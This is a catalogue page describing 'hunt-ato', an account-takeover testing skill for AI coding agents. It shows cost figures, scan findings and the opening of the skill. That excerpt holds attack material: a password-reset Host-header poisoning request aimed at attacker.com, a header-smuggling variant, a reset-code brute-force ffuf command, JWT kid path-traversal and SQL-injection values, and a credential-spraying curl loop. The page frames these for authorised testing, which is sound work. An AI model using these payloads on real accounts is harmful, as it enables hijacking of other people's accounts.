hunt-ato

hunt-ato is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 245 tokens per session (6,128 once invoked), scanned B, original, MIT.

A security-testing guide for finding account takeover flaws, where an attacker can gain control of another user’s account through password resets, email changes, OAuth, MFA or sessions.

In plain words
What is it for?
It is for testing login recovery, identity-provider connections, multi-factor authentication and session handling in authorised security assessments.
Why use it?
It gives testers a structured way to examine the different paths that can lead to account takeover instead of treating it as one vague bug.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is # (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid).

Good fit It is for testing login recovery, identity-provider connections, multi-factor authentication and session handling in authorised security assessments.

Compare 6 skills from other repositories ↓
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,251 stars · on GitHub · hiago.sh

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills
agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-ato

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-ato

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ato/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-ato)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-ato"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ato/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-ato

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-ato"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ato.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 245 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,128 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 10 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 76
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high Supply Chain · line 143
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
  • high Supply Chain · line 255
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
  • high Supply Chain · line 287
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
  • medium Data Exfiltration · line 32
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 72
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 143
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 189
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 255
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 287
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00245 $0.06128
Opus 5 $0.00122 $0.03064
Sonnet 5 $0.00049 $0.01226
Haiku 4.5 $0.00024 $0.00613

Measured 7d ago against content hash 420e36766301, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade B, and why

hunt-ato scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('device_authorization_endpoint','NOT SUPPORTED'))"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • hunt-ato — 88% identical, 239 lines differ
redteam/hunt-ato/SKILL.md · 366 lines

How it starts

The opening of the file, as written. The whole thing — 366 lines — stays where its author put it; the contents beside it link to each section on GitHub.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Read the full file on GitHub · 366 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 366 lines · 245 tokens per session scan B 420e36766301

Subscribe to this mod's changes

hunt-ato is a skill published in the GitHub repository uphiago/recon-skills (1,251 stars, last pushed 9d ago), licensed MIT. It adds 245 tokens to every session and 6,128 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

implementing-cloud-dlp-for-data-protection

Implementing Cloud Data Loss Prevention (DLP) using Amazon Macie, Azure Information Protection, and Google Cloud DLP API to discover, classify, and protect sensitive data across cloud storage, databases, and data pipelines.

xalgorix/xalgorix · 54 tokens

auditing-gcp-iam-permissions

Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.

xalgorix/xalgorix · 51 tokens

auditing-terraform-infrastructure-for-security

Auditing Terraform infrastructure-as-code for security misconfigurations using Checkov, tfsec, Terrascan, and OPA/Rego policies to detect overly permissive IAM policies, public resource exposure, missing encryption, and insecure defaults before cloud deployment.

xalgorix/xalgorix · 59 tokens

detecting-compromised-cloud-credentials

Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.

xalgorix/xalgorix · 55 tokens

detecting-misconfigured-azure-storage

Detecting misconfigured Azure Storage accounts including publicly accessible blob containers, missing encryption settings, overly permissive SAS tokens, disabled logging, and network access violations using Azure CLI, PowerShell, and Microsoft Defender for Storage.

xalgorix/xalgorix · 52 tokens

detecting-s3-data-exfiltration-attempts

Detecting data exfiltration attempts from AWS S3 buckets by analyzing CloudTrail S3 data events, VPC Flow Logs, GuardDuty findings, Amazon Macie alerts, and S3 access patterns to identify unauthorized bulk downloads and cross-account data transfers.

xalgorix/xalgorix · 63 tokens